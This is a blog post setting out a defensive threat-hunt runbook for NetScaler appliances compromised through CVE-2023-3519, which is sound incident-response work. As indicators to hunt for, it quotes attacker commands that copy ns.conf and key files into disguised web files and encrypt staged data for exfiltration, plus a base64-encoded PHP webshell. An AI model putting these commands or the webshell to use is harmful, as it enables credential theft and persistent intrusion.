#cve-2023-3519

Citrix Netscaler CVE-2023-3519 Hunt Mission Plan

Sep 4, 2023

10 min read

Citrix Netscaler CVE-2023-3519 Hunt Mission Plan

The Prelude

Hello everyone, it would seem that time has gone quite fast and my temporal abilities to navigate the river of Chronos are not yet good enough. Ideally, I would like to train the power of slowing time, enjoying the shades of it as you go through your day.

I have the feeling that Chronos is not the best way to do it though, but rather, it is Kairos that holds the secret for a different experience of time. I will speak of the three perceptions of time in another epistle. I know this is not the reason why you are reading this new Tales of a Cyberscout ;) So how about we dive into our topic for today?

Going to our main topic of today, I know there are many Organisations out there struggling with either a response or compromise assessment of the Citrix NetScaler recent vulnerabilities, especially CVE-2023-3519. At the same time, a lot of people have asked me to show an example of applied AIMOD2 so I decided to do this leveraging another Sh*trix vuln. Let's explore how we can operationalize the framework and apply it practically.

Background

I would like to share here an approach to crafting a threat hunt mission to investigate a Citrix NetScaler scenario. Effectively, we will be breaking down the hunt mission into four phases (these can be compressed down to three or two phases depending on your preferences):

Initial Research: collating information from available OSINT sources.
Planning: setting up the structure of your mission.
Discovery & Disruption: performing your analysis and escalating or containing potential damage.
Outcomes: producing your final report, playbooks and any other relevant artefacts.

Note: I've had a few requests at crafting a hunt mission for MoveIT or Ivanti Endpoint Manager. I will try to come up with an example for those soon ;)

Note2: It is important to understand this threat hunting approach is designed to work in a rapid-response or live forensics scenario. You should decide whether this approach is valid in your environment, or whether a more "forensics-focused" method is better, by cloning your Netscaler disks and acquiring volatile memory, then performing a dead-forensics analysis.

Initial Research

CVE-2023-3519 is a vulnerability impacting NetScaler (formerly Citrix) Application Delivery Controller (ADC) and the NetScaler Gateway that allows for unauthenticated remote code execution (RCE). To address this vulnerability, Citrix issued a public advisory along with a patch on 18 July 2023. However, available threat intelligence points to this vulnerability being under active exploitation since at least 7th July 2023, with some sources indicating this happened as early as June 2023, when threat actors were observed leveraging the zero-day exploit to deploy WebShells within NetScaler ADC appliances. This entails that even organizations that have patched on time would have been exposed to the RCE through a window of about 11 to 40 days of pre-patched active exploitation.

Once deployed, WebShells provide cybercriminals with a conduit for conducting reconnaissance within the target's active directory (AD), since Citrix NetScalers utilize service accounts that can query a tenant AD to be able to provide some of its core functionality. This facilitates the extraction and exfiltration of AD-associated data once an appliance is compromised.

In its advisory, Citrix stated that CVE-2023-3519 can be exploited remotely without authentication, but only against appliances that are configured as a Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) OR AAA virtual server.

A more recent report by Fox-IT "uncovered a large-scale exploitation campaign of Citrix NetScalers in a joint effort with the Dutch Institute of Vulnerability Disclosure (DIVD)". The report states that automation was used by a cyber threat actor to exploit CVE-2023-3519 in a systematic way, placing WebShells on vulnerable NetScalers to gain persistent access.

According to Fox-IT, "the adversary can execute arbitrary commands with this webshell, even when a NetScaler is patched and/or rebooted". At the time the report was released, more than 1900 NetScalers remained backdoored.

Using the data supplied by Fox-IT, the Dutch Institute of Vulnerability Disclosure notified victims. However, it is plausible that the data gathered for the report is not fully representative of all vulnerable and/or backdoored NetScaler systems out there. This report, and the lack of notification from the Dutch Institute of Vulnerability Disclosure, should not be used as evidence of lack of exploitation or compromise.

References:

Planning

Here you would ensure that you are setting up the required building blocks to ensure the hunt mission is executed according to your company's or client's process:

Create a record to track actions in your case management suite
Ensure the mission has a designated mission lead, accountable for the end-to-end delivery
Ensure the hunt squad is sufficiently staffed to address the challenges and analysis of artefacts that will come your way
Notify relevant stakeholders of the situation
Obtain information about relevant SMEs, technical teams, business owners, and points of contact that will be useful during your engagement

Discovery & Disruption

Craft your playbook or runbook to help your hunt team drive the threat assessment.

Note: it's important to understand these actions are just initial guidelines, kick off ideas, they are not meant to address the full spectrum of possible DFIR analysis tasks, your hunters need to remain flexible and creative, to come up with additional angles and ideas that may have not been captured by the mission lead initially.

Threat Hunt Runbook

id	Activity
1	Acquire system artefacts
2	Analyse HTTP Logs
3	Investigate Suspicious Commands in Bash and Sh History
4	Investigate Scheduler Services
5	Search for WebShell File Presence
6	Search for Fileless Malware
7	Investigate Core Dumps
8	Analyse Network Data
9	Search NetScaler Configuration for Anomalies
10	Run Mandiant IOC Scanner for CVE-2023-3519

01 | Acquire System artefacts

There are many system artefacts that can be collected for analysis, at a minimum you need:

all contents of /var/log (this will include bash.log, sh.log, auth.log, cron.log, httpaccess.log, httperror.log, httpaccess-vpn.log, messages.log, nitro.log, ns.log)
/var/vpn
/var/netscaler/logon
/var/python
/var/crontabs
/tmp
/flash/nsconfig.ns
NSPPE core dumps in /core/
Process dumps generated by default
File listings (you will have to use a combination of "find" and "-newermt" to list files in Netscaler flavour of FreeBSD)
All PHP, JS, JSP, PNG, HTML, XML, PL files
Listing of all ELF files with their timestamps (and better even if you can collect all ELF files themselves)
process lists
socket and port lists
mount points

02 | Analyse HTTP Logs

Look into:

Check logs for successful requests from external IPs that are uncommon
Check logs for successful requests from external IPs to .php, .pl, .png, .html or .js files. Take note of those and compare them with file listings to understand whether they were added/modified recently, mostly prior to patching
Investigate httperror logs for potential error messages caused by exploitation attempts

03 | Investigate Suspicious Commands in Bash and Sh History

Based on the TI from Mandiant and Cisa there are a few patterns to check for:

Attempts at copying or moving "ns.conf" (which holds the NetScaler global configuration) as well as the F1 and F2 key files into a single destination file. You need all three files to be able to decrypt passwords inside ns.conf. Example:
- cat /flash/nsconfig/ns.conf >>/var/vpn/themes/insight-new-min.js
- cat /nsconfig/.F1.key >>/var/vpn/themes/insight-new-min.js
- openssl base64 -d
- cp /usr/bin/bash
The threat actors attempted to deactivate the NetScaler High Availability File Sync (nsfsyncd). Search for signs of deactivation for this service
The threat actors deleted the authorization configuration file (/etc/auth.conf), likely to prevent configured users (e.g., admin) from logging in remotely
Use of cp command to rename files to unassuming extensions (like .png or .js)
Ping requests to Google to check internet connectivity
Curl usage to download external payloads
Encryption of data staged for exfiltration, mostly using "tar". Example: tar -czvf - /var/tmp/all.txt | openssl des3 -salt -k <> -out /var/tmp/test.tar.gz
Commandlines that include BASE64 encoded strings. Example: echo PD9waHAgDQpmb3IgKCR4PTA7ICR4PD0xOyAkeCsrKSB7DQogICAgICAgICRDWzFdID0gJF9SRVFVRVNUWyIxMjMiXTsNCiAgICAgICAgQGV2YWwNCiAgICAgICAgKCRDWyR4XS4iIik7DQp9IA0KPz4=

Some analytic approaches and examples:

Check bash log files and sort by frequency, less frequent commands at the top: cat /var/log/bash.log | grep -Eio "shell_command=.*$" | sort | uniq -c | sort -n && zcat /var/log/bash*.gz | grep -Eio "shell_command=.*$" | sort | uniq -c | sort -n /2
Check for recently modified/written XML files, sort by date, most recent ones at the bottom: find / -name "*.xml" -exec ls -haltr {} \; | sed 's/ */ /g' | sort -k 8
Check for recently modified/written XML files, since the exploitation window, chain here any other extensions that are relevant based on available Threat Intelligence: find / -name "*.xml" -newermt "2023-06-01" && find / -name "*.pl" -newermt "2023-06-01" && find / -name "*.py" -newermt "2023-06-01"
Check for suspicious running processes and their connections: lsof -RPni && lsof -PnP (you could further filter with grep)
Check for further suspicious processes: ps auxd | grep nobody

04 | Investigate Scheduler Services

(Mandiant) The threat actor installed a persistent tunneler on the appliance, the tunneler provided encrypted reverse TCP/TLS connections to a hard-coded command and control address. The attacker created a crontab entry for the nobody user to ensure the tunneler ran persistently.

Check for any new scheduled jobs under the "nobody" user
Check for unusual commandlines in root crontab and the cron execution history in /var/cron.log

Some analytic approaches:

Check your crontab logs: cat /var/log/cron | sed 's/ */ /g' | cut -d" " -f 10 | sort | uniq -c && zcat /var/log/cron*gz | sed 's/ */ /g' | cut -d" " -f 10 | sort | uniq -c

05 | Search for WebShell File Presence

Both Mandiant and Cisa reports indicate evidence of WebShells. Large-scale checks for potential WebShells coupled with manual review of suspects should be conducted.

Run THORLite or LOKI over the collected filebase. The community Valhalla YARA rules offer a good initial indication.
Gather additional YARA rules for WebShells from publicly available sources. Also, incorporate rules from fresh OSINT. Run additional YARA rules against collected evidence.

Some analytic approaches:

Check the good investigative steps and YARA rules in https://github.com/nsacyber/Mitigating-Web-Shells
Some extra WebShell YARA rules: https://github.com/jcole-sec/yara-rules/tree/master/webshells
Additional good PHP WebShell YARA rules: https://github.com/farhanfaisal/yararule_web

06 | Search for Fileless Malware

Typical fileless malware in many linux distributions would use calls such as memfd_create() to create an anonymous file in RAM that can be run.

The man page for memfd_create states:

memfd_create() creates an anonymous file and returns a file descriptor that refers to it. The file behaves like a regular file, and so can be modified, truncated, memory-mapped, and so on. However, unlike a regular file, it lives in RAM and has a volatile backing storage.

We would normally identify this behaviour using /proc/x/maps | grep memfd. However, FreeBSD-based systems like NetScaler do not have /proc/x/maps. The closer you can get is examining shared memory objects with procstat: procstat -v -a | grep 'memfd'

NOTE: I have not yet completely validated this approach in FreeBSD, if you have, please drop me a comment or message in LI so I can update this article

Further analysis:

Some in-memory malware and classic file-based WebShells might cause memory leaks that will show up as high memory or CPU consumption cycles. If we discover that a NetScaler is on high memory usage then we need to go to /var/nslog and then verify the newnslog to check ConMEM to see which module/pool is taking up the majority of the memory.
Follow further investigative approach at https://sandflysecurity.com/blog/detecting-linux-memfd-create-fileless-malware-with-command-line-forensics/
More methods: https://twitter.com/cr0nym/status/1681709635508617216

07 | Investigate Core Dumps

Exploitation attempts and post-exploitation activity might cause processes to crash. This will trigger process dumps on NetScalers. In some instances, an NSPPE Core Dump might be generated.

Investigate process dumps created from June 2023. Run strings to identify potentially HTTP-encoded commands or public IPs
Investigate NSPPE core dumps if any

08 | Analyse Network Data

Look for

Peaks in LDAP queries to DCs. These could indicate LDAP reconnaissance
Investigate FW or Proxy logs for indications of headless web browser or python-based request usage. Example from Mandiant TI: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/112.0.5615.121 Safari/537.36
FW or IDS logs for signature triggers on traffic originating from NetScaler appliances

09 | Search NetScaler Configuration for Anomalies

Triage the contents of ns.conf to make sure it wasn't modified to allow for hidden connectivity

10 | Run Mandiant IOC Scanner for CVE-2023-3519

This step was added as a late update but you could run this earlier along the chain. Just make sure you acquire your forensic artefacts first, before running the Mandiant script, since it may create entries in your bash history that could be later detected as suspicious if you run it a 2nd time.

The scanning tool is designed to be run on a live appliance or a mounted forensic image. This scanner will search across a number of sources on the appliance to look for evidence of post-exploitation activity:

File system paths that are likely to be malware
Attacker or suspicious commands in the shell history
Files in NetScaler directories with contents matching known IOCs
Files with suspicious permissions or ownership
Suspicious crontab entries
Suspicious running processes

Outcomes

Produce final report, capturing any aspects of AIMOD2 mission outcomes: visibility gaps, security control issues, detection opportunities, suspicious events uncovered, enriched IOCs, further hunt opportunities
Craft an investigation playbook so that future occurrences can be more effectively approached by your hunt team
Escalate any suspicious findings using your CSIRP (Incident Response Plan) logic
Ensure patches have been applied to systems.

Appendix: IOCs for CVE-2023-3519

#cve-2023-3519 #citrix #netscaler #threat-hunting #aimod2 #hunt-mission